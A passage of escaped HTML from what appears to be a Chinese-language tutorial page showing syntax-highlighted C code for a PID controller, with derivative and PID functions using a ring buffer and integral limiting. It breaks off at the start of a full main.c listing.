class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief 求出微分项值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param pid_struct 想要处理的PID结构体指针\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @return float\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"nf\"\u003eerr_change\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 获取D值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003echange_speed\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eis_first\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003echange_speed\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_LEN\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003echange_speed\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eis_first\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003echange_speed\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief PID函数\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param pid_struct 想要处理的PID结构体指针\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param tar 目标值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @param cur 当前值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @return float 返回PID计算后的值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"nf\"\u003ePID\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003etar\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003ecur\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003epid\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eerr\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003etar\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003ecur\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eP\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eI\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eD\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eerr\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// PID数据先进先出\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eLEN\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eLEN\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eLEN\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003eMAX_LEN\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eP\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eDATA\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 获取PID三值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eI\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003eerr_sum\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eD\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003eerr_change\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 数据头向前移动一个\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"n\"\u003eMAX_LEN\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003etop_index\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eI\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eKI\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_I\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eI\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_I\u003c/span\u003e \u003cspan class=\"o\"\u003e/\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eKI\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eI\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eI\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 限制I的累计不可大于MAX_I\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003epid\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eP\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eKP\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003eI\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eKI\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"n\"\u003eD\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003epid_struct\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eKD\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 计算出PID的返回值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch3 id=\"完整的mainc程序\"\u003e完整的main.c程序\u003c/h3\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 52\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 53\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 54\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 55\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 56\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 57\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 58\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 59\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 60\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 61\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 62\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 63\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 64\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 65\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 66\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 